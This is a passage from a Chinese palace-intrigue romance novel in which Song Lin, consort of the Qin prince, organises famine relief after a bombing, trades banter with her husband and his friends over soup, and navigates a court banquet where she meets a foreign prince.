林武眼睛翕动,“属下明白。”
午膳过后,宋檩正在榻上小憩,林歌推门急入,“姑娘,王爷来了。”
透过屏风,她依稀看到林歌身后跟着的男人,赶忙下榻,随意裹了衣服出去。
头一回
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见他穿得这么正式,宋檩多看了两眼,不确定道:“王爷这是……要去宫里?”
“宫里来了圣旨,我得马上入宫,过来给你说一声,也好有个准备。”知道打搅了她午睡,瞿昙一脸歉意。
这个节骨眼被宫里那位注意到可不是什么好差事,宋檩睡意全消,不得不打起十二分精神。
“王爷请说。”
原本担心她会受平康坊一事影响,如今瞧着气色不错,想是吃睡都挺好。
“这个当口入宫,只怕跟平康坊一事脱不了干系。听安管事说你打算施粥,这是好事。”
“中都城现下并不安宁,人多眼杂,我让惊风跟着你。”
原是为了这事过来,宋檩忙道:“王爷的心意我领了,惊风还是跟着你。”
“这事没得商量!你虽身手不错,但如今连我都打不过。再者,不是还有人跟着吗?”她抢先道。
派人跟着她这件事一直没挑明过,但彼此算是默许。
既然摆明面上来了,他也没什么顾虑,“他们的职责是保护王妃安全,你身边那个暗卫不在,惊风留给你,有什么事让他去。”
她正要拒绝,惊风站出来,笑嘻嘻道:“王妃就让属下跟着吧,否则王爷一直惦念,容易分心。”
宋檩努了努嘴,勉强留下了他。
瞿昙见她应允才松了口气,上前一步道:“我不会过问他的事,你有什么可以放心让他去。”
“我身边也不是只有他一人,不必觉得有负担。”
什么话都让他说了,宋檩瘪嘴,“知道了。”
果如宋檩所料,瞿昙此番入宫没好事,圣上直接把平康坊这个案子丢给了他。
宋檩一听到这个消息就觉得荒唐,“这回又是哪个丧心病狂的人干的好事,太子还是承王?”
惊风摇头,“都不是。”
“这回是圣上钦定。”
虽是世袭王爷,却无一官半职,让他接手案子,廷尉府是摆设吗?
“文献礼在做什么?”
“文大人现下是会谈团的一员。”末了他又加上一句,“圣上钦定。”
又一个圣上钦定。太子和承王也不着急?
宋檩摸着下巴深思,虞廷尉年迈,指望他查案是不可能了,若圣上不钦定,太子和承王又会吵得不可开交,迟迟没个结果。
让瞿昙接手,老皇帝是无人可用了吗?
“京兆府尹呢?”
“汪府尹在安抚难民,清理现场,还要城内戒严,忙得脱不开身。”
“我记得戒严逆鳞卫的差事啊!”宋檩疑惑问道。
惊风汗颜,“逆鳞卫暂无动静。”
没有动静就是最大的动静,指不定后头还憋着什么大招。
“王爷现在何处?”
“桑公子在燕鹭湖边腾了座空房子,用作临时办公,王爷现下应该在那里。”
宋檩眼神微动,“施粥一事如何了?”
安管事就将施粥点设置在燕鹭湖边,距离王爷的临时办公处不远。惊风立马有了主意,“府里出动了大半人手,动静不小,王妃可要去看一看?”
此事正合她意。
“备车。”
27. 跟他没关系
得知她要过去的消息,林歌没有回府,就在现场等待。远远看到王府马车,她小跑着迎上去。
惊风见她过来,忙从车辕上跳下,给她让路。
林歌看了他一眼,打开马车门,“姑娘。”
马车的封闭性极好,风吹不进,一路过来有些热,下车的时候,宋檩没有穿氅衣。
汪明飞不认得宋檩,但认识秦王府的马车。眼尖的他发现来人,忙把手里的事情给下属,跑过来打招呼。
宋檩回了礼,见此地已经开始清理现场,难民们被集中安置在一处,早已不似先前那般混乱。
“汪府尹,此处人员伤亡几何?财产损失多少?”她脑子里浮起关于京兆府尹的信息来。
汪明飞处事圆滑,由棋师举荐入仕,步步高升成了中都城的父母官。
汪氏勉强算个落魄士族,几代人中也就出了个京兆府尹,明面上他谁的人都不是。
汪明飞听了她的话一愣。
“难道不方便告知?”宋檩疑惑地看着他。朝廷抚恤金还不知道什么时候拨下来,吃饭是大事。
若是受灾人数太大,连最基本的吃饭都无法保证,难免影响稳定。
正值会谈,非常时期行非常手段,这些人的性命就保不住了。
汪明飞摇头笑道:“下官只是有些惊讶,王爷适才过来,也问了这个问题。”
宋檩挑眉,这么说来,瞿昙跟她想到一处去了。
她笑道:“圣上既然让王爷处理这桩案子,了解事件的前因后果也是按章程办事。”
“施粥一事本就仓促,总不能叫这些人今日吃饱了,明日就没得吃。知道人员数目,我也好让人早做准备。”
宋檩不急不躁,即便是在京兆府尹跟前也毫不逊色。
汪明飞从身后的随行官手里接过簿子,双手奉上,“这里有详细的数目,请王妃过目。”
“下官方才多有冒犯,还请王妃见谅。”他用行动诠释赞许。
宋檩见他态度诚恳,笑着上前,虚扶了一把:“汪府尹是朝廷命官,我一介妇人,可担不起这样的大礼。”
汪明飞突然发现,这位秦王妃,与传言中的判若两人。他恭敬行礼,“下官还有其他事,先行告退。”
“汪府尹请便。”宋檩并没有计较。
两人走出好一段距离,汪明飞身边的随行官好奇出声,“大人,属下看这位秦王妃并不如传言中那般……”
汪明飞停下脚步,远远看过去,他想到了一个被京城中人忽略掉的事实。
“秦王妃……可是在老国公膝下养大的,又如何……”会如传言那般不堪呢?
随行官点了点头,不再说话。老国公是禁忌,他们这些人跟着大人在京兆府,也算是独善其身了。
宋檩曾打理过庞大的家族,施粥这点小事绰绰有余。
“姑娘,这边已经安置得差不多了,让属下护送您回去吧?”林歌见她没穿氅衣,担忧道。
入秋以后的风有了凉意,姑娘穿得太单薄。
宋檩笑着摆手,“太阳落山后确实凉了不少,不打紧,这边很多人没有避风的地方,等帐篷到了再走也不迟。”
林歌担心她的身体,但又拗不过她,也只能作罢。
“王妃去马车上等着吧,可以歇会儿,帐篷到达还得等一阵子。”阿庆从粥铺里出来,随手取下身前的围裙。
宋檩有些诧异,她竟然也来了。
阿庆来到她跟前行礼,“奴婢安排了几个人搬运粮食,铺子那边运营一切正常。”
这是知晓她身份后的第一次见面,宋檩不确定她知不知自己身份暴露,瞧着倒是坦荡。
林歌看她的眼神有些冷,对待奸细,她从来没有好脸色。
不过她一向如此,不熟悉的人轻易看不出来。
宋檩轻轻颔首,“铺子既然交给你打理,我只要结果。”
“都是为了养家糊口,不过这段日子要格外辛苦些,告诉大家这月工钱翻倍。”
阿庆没料到她会加工钱,今日好几个伙计本该休息,被她叫来满腹牢骚,正愁接下来如何说服他们。
打工人可不就是为了工钱吗?
她欣喜万分,“奴婢替大伙儿谢过王妃!”
宋檩示意她去忙,自己沿路走走看看。
林歌不紧不慢跟在她身后,“姑娘担心那批帐篷到不了?”
跟在姑娘身边这么久,她的心思能猜出个大概。方才见到遍地睡着的灾民,姑娘的眼神有些沉重。
朝廷虽拨了帐篷供灾民暂住,可送东西的人都是有眼力见的,哪怕见到芝麻大点儿官,也会上前讨个脸熟,谁会去管真正需要帐篷的人呢?
秦王府虽没有接手安顿灾民一事,可让她碰上了,就没有不管的道理。
更何况,眼下她的身份确实可以帮上忙。
宋檩笑笑不说话。
林歌明白她的意思,没再劝说,兀自去马车取那件氅衣。
这一幕恰被过来巡查的瞿昙看到,他停下脚步,问身后跟着的人,“王妃怎么在这?”
常齐一个激灵,“回王爷,王妃来看施粥情况。”
他看了一眼跟在自家王爷身边毫无觉察的汪明飞,继续道:“王妃担心灾民们今晚住不上帐篷,就一直在等。”
瞿昙眉头微皱,下意识看向身边的汪明飞。
汪明飞心下大骇,在京兆府这么多年,如何不明白官场上那些人的小心思?他惊出了一身冷汗,忙拱手,“下官这就让人去催!”
“本王需要的不是过程,而是结果。汪府尹,今晚这些人必须住进帐篷。”他不是在商量,而是命令。
“下官拿项上人头作保!”汪明飞擦了擦额头上的冷汗,不敢有任何耽搁。
官场上捧高踩低那些势利眼他一向不搭理,只要没闹出太大动静,睁一只眼闭一只眼也就罢了。
今日主事的人既不是太子也不是承王,而是秦王,他不能再如之前那般圆滑处事,必须拿出些手段。
还有那个自始至终都没有露出真实力的秦王妃……
汪明飞疾走的腿骤然停下来,随行官差点撞到他身上。
“发生了何事?”
随行官见他瞪大了眼睛,似是看到了什么可怖的东西,忙挡在他身前,警惕四下。
“无事,今日本官就在这等帐篷。”
他想到了一件事情,同在老国公膝下长大的,还有五皇子。
瞿昙莫名其妙地扫了他一眼,往宋檩的方向走去。
“王妃,王爷来了。”惊风看见走过来的人,低声提醒不知在想些什么的宋檩,自觉地后退两步。
甫一抬头就撞进了双满是关切的眸子,宋檩一愣,才想起行礼。
瞿
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昙扶住她要行礼的手,满脸关切,“手这么凉,怎么也不多穿点?”
宋檩后知后觉地发现,两人这动作有点暧昧。她看向自己被握住的手,讪讪一笑,抽了出来。
瞿昙也意识到了不对劲,有些不自然,他轻咳一声,解下氅衣披在她身上,“天色已晚,王妃不必在这守着,回府吧。”
“王爷呢?”问出来后她才发现不妥,想解释一下又觉得有点欲盖弥彰,索性闭着嘴不说话。
瞿昙看了她一眼,突然心情很好,“跟你一起回。”
宋檩说不出来那是种什么样的感受,但她能感觉到,嘴角上扬了,心情也还不错。
她正愁没机会打探案子进展。
回府的马车上,宋檩坐得端正,主动给他倒了杯茶水。
瞿昙觑了她一眼,不紧不慢地抿了一下。
宋檩眯眼一笑,眸子里闪过一抹促狭,“拿下这桩案子,王府也算开张了,王爷辛苦!”
“说吧,什么事?”放下茶杯,他眉眼带笑,一眨不眨地盯着宋檩。
“平康坊被炸一事,是不是跟胡人有关系?”她眼眸流转,直接表明事情,毫不忸怩。
瞿昙敛眸,不经意撞入她的视线。那双眼睛明亮而坚定,仿佛能洞悉世间万物的规律,透着一股不慌不忙的自信与从容。
他突然起了捉弄的心思,动了动嘴,“倘若我说无关呢?”
宋檩微愣,眼睛眨巴了几下,冷静道:“排除法,不难找出凶手。”
“不过,我还是觉得跟他们脱不了干系。”她摸了摸下巴,似是做了某种决定,忽地俯身上前,小心翼翼道:“王爷……要不再查一下?”
瞿昙没有说话,却无端闷笑出声。
笑是什么意思?宋檩纳闷。
“质疑本王,你是第一个人。”本是吓唬人的话,配上那双带笑的眼睛却无一丝威慑力。
“我可不敢质疑王爷,”宋檩撑起下巴打量他,狡黠一笑,“我是质疑‘质疑’本身。”
牙尖嘴利,巧舌如簧。
瞿昙摇了摇头,“此事确实跟胡人有关。”
宋檩收起先前那副不正经的样子,坐得端正。
瞿昙看了她一眼,继续道:“下榻鸿胪寺时的名单里有白王和茹素公主,但入城的队伍里没看到白王。”
“有人在平康坊周围看到了一伙可疑商贩,我们追查到正阳街附近没了线索。”
正阳街沿线不少官署衙门,继续追查难度较大。
宋檩恍然,“这么说来,当时我们碰到的那几人,应当就是胡人。”
“你碰上那些人了?在什么地方?可有受伤?”听了她的话,瞿昙一颗心提到了嗓子眼。
这么大的事暗卫没来报,回头一定让他们好好长长记性。
“就……我跟林歌刚到大路上,看见巷子里有几个人,鬼鬼祟祟的,说的话也听不懂,倒是查了一下,没查出什么名堂。”
这三连问让她一下子不知该说些什么,末了愣愣道:“他们没发现我们。”
瞿昙轻叹一声,松了口气,又有些无奈,“不管发生什么,首先保护自己。”
“放心吧!”宋檩咧嘴一笑,拍了拍他的肩膀,“在治好你的毒之前,我不会有事的。”
他张了张嘴,想说这事跟他的毒没关系,却不知怎么开口,别过头不再搭理。
28. 有没有可能
安管事得知二位主子回来后,赶忙让厨房准备鸡汤,还特地将两碗都送去王妃的住处。
宋檩看着食盒里的两碗鸡汤,一脸迷茫。
看着林歌,再三确认道:“你确定这两碗鸡汤都是给我的?”
没猜错的话,应该有一碗是给瞿昙的,不送去他的院子送来这做什么?
林歌汗颜,想起刚才接过食盒时安管事那副意味深长的笑,还有什么不明白的呢?
宋檩无语,从林歌的神情,她已经知道答案了,又是安管事的主意。
“既然送来了就收下吧。”
林歌打量着自家姑娘,并没有恼怒的神情,试探开口,“姑娘可要现在给王爷送过去?”
“鸡汤凉了比较腻。”
宋檩斜了她一眼,没好气道:“现在就去!”
跟在姑娘身边这一年多的日子,林歌觉得在王府的生活更舒畅。既没有复杂的婆媳关系,也无乱七八糟的后院女子。
若姑娘跟王爷感情再好些,添个小主子也是喜事一桩。
平心而论,她觉得秦王府是个不错的归宿。
林歌拎着食盒想了一路,越发觉得这个主意很好,往后她得多多跟安管事请教。
惊风正在跟常齐斗嘴,看到打灯笼过来的人有些惊讶,“王妃怎么过来了?”
在他的印象中,王妃来过一回,拎了祥福斋的糕点。
二人忙过来行礼。
宋檩觉得常齐有些眼熟,林歌凑到她耳边低语一阵,才知他就是那次在城外救了她们的人。
“不必多礼。”
她看向常齐,“上次的事情,多谢。”
“保护王妃,是属下职责所在。”常齐拱手。
宋檩摘下帽子,浑身带着凉气,“安管事让人备了鸡汤,我来送给王爷。”
“王爷在书房,桑公子也在。”惊风并没有不让她进的意思,大抵是需要进去汇报一声。
“让你家王妃进来吧。”桑无疾不知何时已经来到了门口,倚在门框上注视着这边。
宋檩扭头看了他一眼,接过林歌手里的食盒往里走。
待她走后,惊风看了眼候在一旁的林歌,拿手肘捅了一下常齐,不服气道:“你小子做了什么,竟让王妃记住了脸?”
他都在王妃身边露多少次脸了,还不如这小子。
常齐挑衅地看了他一眼,“不告诉你。”
“我说你这人怎么……你只是暂时跟在王爷身边,还反了天了!”
林歌见二人在一旁斗嘴,只觉好笑,眼观鼻鼻观心立在那,嘴角早咧到天上去了。
入得书房,宋檩打开食盒,还没开口说话就被抢了先。
“好香啊,有没有我的份?”桑无疾闻着味儿就过去了,冒个脑袋往桌上看。
安管事大概不知道桑无疾还在,没准备他的份,但这正好解了宋檩的燃眉之急。
她笑道:“刚好两碗,桑公子有口福了。”
“回你自己府上吃去。”瞿昙可没那么好心,还能分出一碗鸡汤给他。
桑无疾不乐意了,他叉腰赌气道:“我说,你这就不够意思了!我鞍前马后地为了谁呀?结果连一碗鸡汤都舍不得给我喝。”
“惊风,去厨房再盛一碗。”他面无表情地朝门外喊。
桑无疾张大了嘴!不是吧?
他直勾勾盯着坐在椅子上的男人,相识也不是一天两天了,谁还不了解谁呀?不给他喝鸡汤,却让惊风再去厨房盛一碗,无非就是……这是宋檩拿来的!
心里有了计较,他还真就杠上了!
“本公子决定了,就要喝这里的,其他的都不要!”他“啪”的一声打开折扇,坐在椅子上看戏。
宋檩一脸蒙,突然觉得自己有些多余。
“那个……王爷,桑公子,我……”
“你坐下。”瞿昙面不改色地让她坐下,眼神却没挪开半点,看向桑无疾眼神里写满了不欢迎。
宋檩乖乖坐在一边,视线在两个大男人身上来回转悠。
“我说,你好歹是个王爷,能不能别这么小气?”桑无疾打心眼里鄙视这个见色忘义的男人。
瞿昙眯起了眼睛,很不屑道:“回你自己府上喝去。”
桑无疾被气着了,也不说话,气鼓鼓地看着他。
瞿昙才不管那么多,从食盒里端出鸡汤,旁若无人似的喝起来,香味盈满了整个书房。
宋檩发现自己的馋虫被勾起来了,不得不说,王府厨子的手艺真不错。
前世她所有心思都在家族上,为此殚精竭虑,耗尽了所有心血,根本顾不上口腹之欲。
现在这样好好喝上一顿鸡汤的日子根本不存在。
“趁热喝了。”瞿昙把另外一碗递到了她跟前。
“谢谢。”宋檩闻了闻,又尝了一勺,瞬间心情大好。
瞿昙瞄了她一眼,“若是觉得不合口味,直接告诉安管事。”
宋檩赞不绝口道:“这是我喝过的最好喝的鸡汤。”
这话倒是不假,在相府一年,她大多时候都在养身子,吃食很随便。
听在瞿昙耳朵里却不是那么回事,一顿鸡汤都能高兴成这样,宋檩在相府过得不是很好。
他喉结滚动,沙哑的声音响起,“以后想吃什么都可以告诉安管事。”
宋檩没有注意到他的不对劲,点了点头,“那我就不客气了。”
桑无疾将这一幕看在眼里,实在忍不住了,起身道:“时候不早了,本公子先回府!”
再待下去他担心自己会撑死。
惊风端着一碗鸡汤过来时,恰在如苑门口碰到要离去的桑无疾,忙跑到他跟前,“桑公子,你这是……”
“本公子不待了,走了!”他摆了摆手,潇洒地走开。
“那这汤……”惊风看向他离去的背影,一脸蒙。
“这汤还是你自己喝了吧,大补!”难得寻到这么个奚落他的机会,常齐绝不放过。
“就是就是,老大辛苦了!”
院门口的护卫见到这情景,开始打趣起来。
惊风一个飞毛腿扫过去,横眉道:“去!几天不整你们,皮痒了是不?”
正发愁之际,余光扫见一旁站着的林歌,他笑着上前,呈上手里的鸡汤,“林姑娘帮个忙?”
林歌疑惑地看了他一眼,虽然这些天他跟在姑娘身边,但二人算不得很熟,没必要这样讨好她吧?
她轻易不会相信任何一个人,后退了几步,防备地看着眼前人,“爱莫能助。”
惊风:“……”他又不吃人?
一众侍卫:“……”林姑娘这样子怎么觉得有点不对劲啊?
惊风咳嗽一声,掩饰自己的尴尬,一口喝完碗里的鸡汤。
林
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歌打量了眼前几个侍卫,默默退到一边,还是跟他们保持些距离比较好。
书房里,瞿昙见她垂头认真喝汤,突然想到一件事,放下勺子,擦了擦嘴角。
“此次会谈,胡人有和亲的打算。”
宋檩喝汤的勺子一顿,想到了华承璟。虽没什么权力,却是皇子出身,加之相貌堂堂,又是大鸿胪,见面的次数不少。
若真要和亲,太子和承王怕是不会想要这个异邦公主。
思及此,碗里的鸡汤瞬间不香了。
“王爷对茹素公主了解多少?”
瞿昙眼皮微挑,“你指哪方面?”
宋檩并没有发现不对劲,掰着指头道:“喜好,性子,出身,都可以。”
“常齐。”
她还没反应过来,常齐已经到书房。
“去查一下茹素公主。”
常齐看了眼自家王爷,虽有疑惑却没问出声,拱手退下。
宋檩看看离开的常齐,又看看瞿昙,“王爷当真不知茹素公主?”
这些时间相处下来,他给人的感觉虽谈不上运筹帷幄,却也绝非走一步看一步的人,使团来人的情况应当早就了如指掌。
瞿昙一口喝完了剩下的鸡汤,把碗放在食盒内。
“她并非大昭人,和秦王府没有利益往来,查她无用。”
话虽如此,可她总觉得哪里怪怪的。
林武不在中都,和华承璟有些日子没联系了,也不知那边的事是否棘手。
回到院子里,林歌把门一关,说起相府的事。
“三姑娘近来频频私会承王,二人因为请旨赐婚一事闹了不愉快。”
宋沅虽有些心机,但在相府可谓真正的娘不亲爹不爱。侯氏一心扑在宋姿身上,侯府成不了她的靠山。
华承坤会孤注一掷娶她?宋檩持保留意见。
“可知因何事?”
宋檩有自己的盘算,眼下华承乾有婚约在身,他还无正妃,和亲之事或可祸水东引。
“二人达成了合作,但承王碍于会谈一事迟迟没有请旨赐婚。”林歌暗暗揣测,估摸承王是不愿娶三姑娘为正妃的。
华承坤的心思,宋檩早看透了,摇头一笑,“中都城那么多贵女,哪一个不强过宋沅?”
“再则,承王不是太子,他若想成事,离不了薛家的支持,你以为承王妃的位子会旁落他人之手?”
林歌恍然,“姑娘的意思是,承王妃会是薛家人?”
“也说不定。”薛家长女名声不输宋姿,成不成全是圣上一句话。
抛开这些不论,眼下会谈在即,不拿婚姻小事去触圣上的霉头,承王此举是明智的。
“三姑娘若知晓自己被欺骗,会不会放弃这条路?”用承诺换一个谎言,也不知值不值当。林歌轻叹。
宋檩敲了一下她的脑袋,“宋沅可不傻,她清楚自己几斤几两。”
“姑娘是说,她明白自己做不了承王妃?”
“她本就是打以色事人的主意。”
“陆家与薛家势同水火,薛家女成不成得了承王妃还另说。相府这杆秤如今明面上偏向太子,多方势力制衡,她未必不能替自己谋条出路。”
听完她的话,林歌糊涂了,“姑娘先前说三姑娘没可能,如今又说有可能,那到底有没有可能?”
宋檩无奈摇头,“自个儿琢磨去!”
29. 你非要作对
胡人来昭,宜华宜礼。
大昭此番彰显了绝对的战胜国姿态,设宴迎接使臣,王公士族能叫上名的全在受邀之列。
此次宴会由太子和承王共同主办,二人难得意见一致。
秦王府在受邀名单之列。
这几日宋檩的精力全放在平康坊一事上,灾民数目不小,若要得到妥善安置,需要不少银钱。
朝廷不可能拿出那么多银子来。
华承璟忙于会谈相关事宜,二人已经好些日子没碰上面了,她去过一回府邸,可惜没见着。
瞿昙近日也不知在忙什么,总是早出晚归。
城中戒严,满大街的官兵,出门的兴致也没了,宋檩索性宅在府里,看话本子打发时间。
林武离开这些日子,也不知查得怎么样了。
林歌正在打理挂在一旁的衣服,那是安管事送来的,明日穿着参加宫宴。这衣服是秦王妃身份的象征,可马虎不得。
只是频频听到姑娘的叹气声,她有些不解,“姑娘为何叹气?”
“多好的天气,不如出去走走?”
宋檩谢了她一眼,“还是算了,一条街能被拦下盘问个好几回,他们问不烦,我都回腻了!”
林歌放下手里的活,跑到她跟前道:“那就不出门。”
“属下听说王府东侧有座水榭,那里桂树开得不错,姑娘可要去那里坐坐?”
来王府数月,还没来得及好好逛逛,宋檩觉得这个主意不错。
她放下话本子,起身伸了个懒腰,“去走走。”
在水榭碰到瞿昙三人,是她没料到的。
“王妃!”宋檩欲转身离开,却被眼尖的桑无疾看见了,大声招呼她过去。
无奈之下,宋檩只能咬牙过去。
水榭里摆了个石桌,刚好四个凳子,她深吸一口气,在唯一空着的凳子上落座。
“许久不见王妃,近日在忙什么呢?”他晃着扇子,额前青丝游动。
宋檩皮笑肉不笑地看了他一眼,“我是个闲人,比不得桑公子家大业大,也就宅院子里晒晒太阳。”
听出她话里的不对劲,桑无疾收了扇子,小心翼翼道:“在下可是得罪王妃了?”
“怎么会?我与桑公子又不熟。”
黎樾:“……”
瞿昙:“……”
有道是“唯女子和小人难养也”,桑无疾不敢再说话,发出求救的眼神。
瞿昙端了杯茶水到她跟前,“没规矩惯了,王妃不必跟他计较。”
好歹是她的衣食父母,这个面子还是要给的,宋檩端起茶水喝了一口,这个话题就此打住。
“王爷今日没出府?”
宋檩出府会叫上惊风,其余时间不过问他的行程。这几日她都在院子里,王府中人的去向并不清楚。
前些时候安管事会提那么一嘴,还以为他最近一直在忙呐!
“事情都差不多了,余下的不必亲自去。”
“我让常齐送去的东西王妃可看了?”
都是关于茹素公主和白王在王庭的事情,宋檩点头,“看过了。”
瞿昙颔首,再没说话。
偌大的水榭突然安静下来,气氛诡异又尴尬。
黎樾借着喝茶的工夫扫视三人,尬笑两声,“时值深秋,马上就要入冬了,王妃打算何时给王爷解毒?”
“我这边的方子药草都已备妥,房子要完工了吧?”
桑无疾收到暗示,忙不迭点头,“已经收拾完了,王妃得了空可以去看看,不足之处随时提出来,也好及时修整。”
提起解毒,他们的脑子里又浮起新婚夜的画面,也不知真正解毒之时会是什么样的场景。
睡眠阵法的效果不错,这段时间没有再毒发,她都快忘了这回事。
宋檩眸子闪烁,“再等等,初雪落下时最佳。”
黎樾和桑无疾面面相觑,虽说中都城冬天比较冷,也并非年年都落雪。
两人频频给瞿昙使眼色,当事人却装作一副没看见的样子。
坐下没多久,宋檩借故离开,三个大男人的约会她真是一点兴趣都没有。
次日宫宴。
入宫后二人就分开了,宋檩领着林歌往女宾区走,路上碰见不少人,她一个也不认识。
林歌在边上低声提醒,一路上也没记住几个人。
抵达宴会厅后,游廊、园子里、室内到处都是人,叽叽喳喳吵得她头大。
宋檩停在入口处,犹豫要不要进去。
“姑娘,那边没什么人。”
沿她手指的方向看过去,入眼的是一个月洞门,高大的银杏树光秃秃的,枝丫伸满了整个小院。
她看了林歌一眼,朝月洞门走去。
“给秦王妃请安。”
身后传来陌生的声音,宋檩不得不停下来,转身回礼。
此人她并不认得,看了眼林歌。
“这位是汪府尹的夫人,出自颍川庾氏。”林歌附在她耳边轻声道。
颍川庾氏?
华承璟对青桐的评价颇高,宋檩对同样出身颍川庾氏的她也有几分好感。
“原来是庾夫人。”
入宫前夫君刻意叮嘱了她,秦王妃此人或可结交。
她虽不懂朝政,却也并非大字不识之辈,秦王妃瞧着与那些只会巴结的妇人确实不同。
何况眼下秦王府与汪家都是中立之臣,她们来往也无不妥。
想明白后,她说话也有了底气,“我素日鲜少参加这样的宴会,人多还真有些不习惯。”
后宅妇人总是跟丈夫一体,谁跟谁合得来与性格毫无关系。
宋檩哑然一笑,“真是巧了,我也与她们聊不到一处,”她扫向乌泱泱的人群,“寻了一圈,找到这么个僻静的地儿。”
“夫人可要跟我一同去坐会儿?”
能得秦王妃相邀,是她的荣幸,庾氏笑着应下。
刚落座就有宫女端了茶水点心过来,宋檩见她一直看着人群的方向,想着她这样的年纪应当有了子女,现下或许在找自己的女儿。
“夫人今日可是带了贵府千金入宫?”
没料到她会问出这样的话,庾氏先是一愣,而后一脸落寞。
宋檩意识到自己可能说错了话,看向林歌。
听完林歌的话,宋檩一脸歉意,“抱歉,我不知贵府千金……”
庾氏摆了摆手,“不知者无罪,王妃不必自责。”
气氛有些怪,宋檩忙转移话题,“先时在三清门,我见过一个学
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子,是夫人的本家人。”
庾氏有些惊讶,似是想到了什么。
“家中确有几位族弟在三清门求学,自幼离家,没怎么见过面。”
看来关系并不亲近,宋檩暗暗点头。
“宴会马上开始了,秦王妃,咱们也出去吧。”庾氏起身。
二人刚落座,皇后和贵妃一众妃嫔款款而来。
宋檩不清楚平常宴会是什么规格,但今日的人员数量已经远超寻常宫宴。
宴会上无非就是吃吃喝喝,观看表演,宋檩兴趣缺缺,趁人不注意遛了出去,在花园闲逛。
她不熟悉皇宫的布局,一不小心忘了回去的路,寻了个石凳坐下,茫然地捶着酸胀的腿,等待宫人发现自己。
一双鞋尖映入眼帘,她缓缓抬头,迎着刺眼的阳光,眨巴了好几下才看清眼前的人。
“王爷!你怎么在这?”
在陌生的地方迷失方向,没什么比遇见熟悉可靠的人更高兴了,宋檩直接从是凳上蹦起身。
瞿昙鲜少见到她这副模样,平日里神情淡淡的,好像什么都提不起兴趣。
今日见了他这么热情?
他看了眼四周,疑惑出声,“我出来走走。此处鲜少有人,你怎么来了?”
宋檩抓了抓后脑勺,“屋子里闷得慌,我出来转转。”
“出来也不带个人,不怕闯入什么不该去的地方?”方才见她一直在揉腿,努了怒下巴,“没事吧?”
宋檩走了两步,往腿上拍了一掌,傻傻笑道:“没事,好着呢!”就是有点酸。
“对了,你方才说,此处鲜少有人,那这是什么地方?”她指着周边,一脸好奇。
瞿昙正要出声,余光看到不远处走来的人,给她使眼色。
宋檩扭头看见多日不见的华承璟,惊喜之余有些担忧,好多想说的话不知怎么开口。
华承璟没料到会在这见到他们两人,疑惑的眼神在二人身上扫过。
“五殿下。”
“阿兄!”宋檩站在原地没动,一脸关切地看着他。
其实今日的心情不大好,难得入宫一次,他就想趁着空隙来看一眼,没想到阿眠和瞿昙会在。
他看了眼瞿昙,神情淡淡的,看不出什么。
“不在宴会上,怎么跑这来了?”
眼底淤青那么重,一看就知道这段时间没休息好,明明心情不佳,仍然耐着性子跟她说话。
宋檩喉头一哽,突然不知道将他拉入这场争斗对不对,她的亲情本就不多,华承璟占了一半。
“阿兄……”
华承璟顶着一张疲惫的脸笑了笑,“我不能离席太久,王爷在,我就不送你了。”
宋檩紧抿着唇,目送他离开,心中五味杂陈。
“担心他?”
她的视线一直黏在华承璟身上,心情也与之前不同,瞿昙能觉察到。
宋檩低垂着脑袋,有些落寞。
她微微张开唇,似有千言万语倾泻而出,却又瞬间止住,“我……好像做错了。”
瞿昙看清了那双眼睛里一闪而过的犹豫,话在喉咙里打了个转,化作一声轻叹。
“世间事本无对错,偏你非要作对!”
听了他的话,宋檩啼笑皆非。
30. 毒又发作了
微风拂过,宋檩打了个冷战,视线落在地上,影子被拉得很长。
不知不觉已经黄昏了,她看向身侧的人,瞿昙竟然陪着坐了半个多时辰。
她裹紧了衣裳,起身活动筋骨。
“王爷,我们什么时候回去?”
瞿昙就着坐下的姿势仰头看向她,最后一抹夕阳透过她耳间碎发打下来,他本能地眯眼。
“想回家了?”
家?
天天跟那些老家伙们勾心斗角,明明是最亲近的血缘关系却比陌生人还可怕的地方,她不想回。
宋檩下意识摇头。
“那……你想去什么地方?”瞿昙没料到她会拒绝得这么干脆,眼神里的厌恶做不得假。
王府有这么可怕?他好奇她想去的地方到底什么样子。
宋檩扭头看向天边的最后一抹残阳,想去的地方……
从前家族的责任困住了她,虽然到过不少地方,灵魂到死都被禁锢在大山里,再美的地方也不见得愿意停下。
她掌心向外高举过头顶,任由光从指缝划过。
“有光的地方。”
话落,她觉得有些不妥。一句毫无逻辑的话,旁人听了还以为是傻子说的。
“王爷,宴会是不是快要结束了?”
瞿昙若有所思,点了点头。
“那……可以出宫了?”
他继续点头。
宋檩面上一喜,想起自己不识路,伸出去的脚慢慢缩回,转身走到他身侧,希冀地问他,“王爷要一起吗?”
瞿昙意味深长地看了她一眼,指向不远处的高墙,“直走绕过高墙就是女宾区,左侧门出去到宫门口广场。”
原也只是想问个路,不方便直接开口才相邀,他既不能同去也没关系。宋檩转身离开。
只是,她到底低估了宫里路况,才走出没多远就把自己绕晕了。
她内心绝望地呐喊,这哪是皇宫啊,明明是要命的迷宫!
“你好。”
宋檩倚在路旁的石头上休息,愤懑之际,身侧突然响起一道陌生的声音。
她警惕地看向声源处,站直了身子。
一个身穿异族服饰的男子缓缓靠近,身上挂着些玛瑙松石,狼皮斜襟裹了半个臂膀。
他是个胡人。
待走近些,似是觉察到她的防备,男子双手交叠放在胸前,行了个躬身礼,“美丽的姑娘,我没有恶意。”
宋檩知他应是胡人使团的成员,还了个礼,“宴会尚未结束,你怎么在这?”
“我出来转悠,回不去了,”他两手一摊,无奈耸肩,“你们昭国的皇宫太大了,我找不到路。”
宋檩瞬间有了同道中人的惺惺相惜。
指了指身后的地方,“这里是女宾区。”
“你得往那边去。”其实她也不知道男宾区在何处,大致方向应当没错。
他看了眼宋檩手指的方向,眼里先是震惊,而后奇怪地打量她,小步挪到她倚靠的石头前,身子弯曲到与她同等高度。
宋檩一脸防备,“你干嘛?”
“你不要误会,”他摇晃着两只手,一脸歉意,“我想看看你看到了什么。”
宋檩一副“见鬼了”的表情,行了个礼匆匆离去。
茹素自假山后走来,循着他的视线望过去,眉头轻挑,“王兄对这个昭国女子感兴趣?”
“昭国女子木讷得很,她不一样。”
清澈纯真的神情荡然无存,浑身上下透着一股势在必得的狠劲。
这么多年,她还是头一回见到王兄亲近女子,只是不知是哪家姑娘,可愿意嫁去王庭。
“王兄若真喜欢那女子,何不争取一下?”
“明日就要谈判了,别节外生枝。”说罢,他头也不回地离开。
宋檩转了一圈发现路有些熟悉,抬眼一看发现自己没走到宫门口,反而到了太后的寿宁宫。
上回入宫没见着太后,今日宴会也没露面,想来她老人家已经离宫了吧。
到了这,接下来的路她已经知道了,正要离开,却被寿宁宫出来的人叫住。
